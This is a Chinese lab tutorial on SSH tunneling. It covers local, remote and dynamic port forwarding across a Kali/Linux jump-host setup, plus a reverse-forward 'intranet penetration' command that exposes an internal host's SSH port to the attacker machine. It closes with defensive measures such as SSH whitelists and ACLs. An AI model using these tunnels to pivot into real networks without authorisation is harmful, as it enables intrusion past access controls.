应用层隧道技术——SSH
SSH——OpenSSH远程登录客户端
SSH是(Secure SHell protocol) 的简写,安全外壳协议(SSH)是一种在不安全网络上提供安全远程登录及其它安全网络服务的协议。
ssh协议框架三部分:
- 传输层协议:提供服务器认证,数据机密性,信息完整性 等的支持。
- 用户认证协议:则为服务器提供客户端的身份鉴别。
- 连接协议:将加密的信息隧道复用成若干个逻辑通道,提供给更高层的应用协议使用; 各种高层应用协议可以相对地独立于SSH基本体系之外,并依靠这个基本框架,通过连接协议使用SSH的安全机制。
创建SSH隧道的常用参数如下:
- -C:压缩传输,提高传输速度
- -f:将SSH传输转入后台执行,不占用当前的Shell。
- -N:建立静默连接(建立了连接,但是看不到具体会话)
- -g:允许远程主机连接本地用于转发的端口。
- -L:本地端口转发。
- -R:远程端口转发
- -D:动态转发(SOCKS代理)
- -P:指定SSH端口
下面的实验网络结构都参照下图
(Kali能与Linux1互相访问,Linux1可以访问Linux2。)
- Kali: 1.14.75.80
- Linux1: 1.14.75.90(外网IP)、192.168.142.133(内网IP)
- Linux2: 192.168.142.128
本地端口转发
把本地端口数据转发到远程服务器,本地服务器作为SSH客户端及应用客户端
**目标:**Kali访问Linux2
在Kali(1.14.75.80)机器上操作:ssh -CfNg -L 9001:192.168.142.128:80 root@1.14.75.90
解析:
ssh -CfNg -L (本地端口):(目标IP):(目标端口) (跳板机)
将本地端口通过跳板机代理到目标端口
在Kali(1.14.75.80)上执行:curl http://127.0.0.1:9001
即可访问Linux2的80端口
远程端口转发
把远程端口数据转发到本地服务器,本地服务器作为SSH客户端及应用服务端
**目标:**Kali访问Linux2
在Linux1(1.14.75.90)机器上操作:ssh -CfNg -R 9002:192.168.142.128:80 root@1.14.75.80
解析:
ssh -CfNg -R (远程端口):(目标IP):(目标端口) (远程机器)
将远程端口通过本机代理到目标端口
在Kali(1.14.75.80)上执行:curl http://127.0.0.1:9002
即可访问Linux2的80端口[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BhLWuw0u-1632472985082)(file:///C:/Users/T/Documents/Network%20Neighborhood/Study%20Notes/vx_images/1379834190964.png#pic_center)]
动态转发
前两者使用时都需要指定两端的具体端口,动态转发可以更灵活,不需要绑定远程主机和端口,远程主机和端口由发起者决定。
**目标:**在内网中将Linux2的流量代理到Linux1
在Linux2(192.168.142.128)机器上操作:ssh -CfNg -D 9003 root@192.168.142.133
解析:
ssh -CfNg -D (本地端口) (代理机器)
本地端口通过代理机器访问任意目标和端口
在Linux2(192.168.142.128)机器上将浏览器socks代理指向本机9003端口如下图
用wirshark抓包:
放一张没有挂代理的抓包:
利用SSH做内网穿透
在Linux2机器上将远程端口30003转发到本地22端口,执行ssh -CfNg -R 30003:192.168.142.128:22 root@1.14.75.90
在Kali机器执行ssh -l root -p 30003 127.0.0.1
防御SSH隧道攻击的思路
ssh隧道之所以能被攻击者利用,主要是因为系统访问控制措施不够。在系统中配置ssh远程管理白名单,在ACL中限制只有特定的ip地址才能连接ssh,以及设置系统完全使用带外管理等方法,都可以避免这一问题。如果没有足够的资源来建立带外管理的网络结构,在内网中至少要限制ssh远程登录的地址和双向访问控制策略(从外部到内部、从内部到外部)。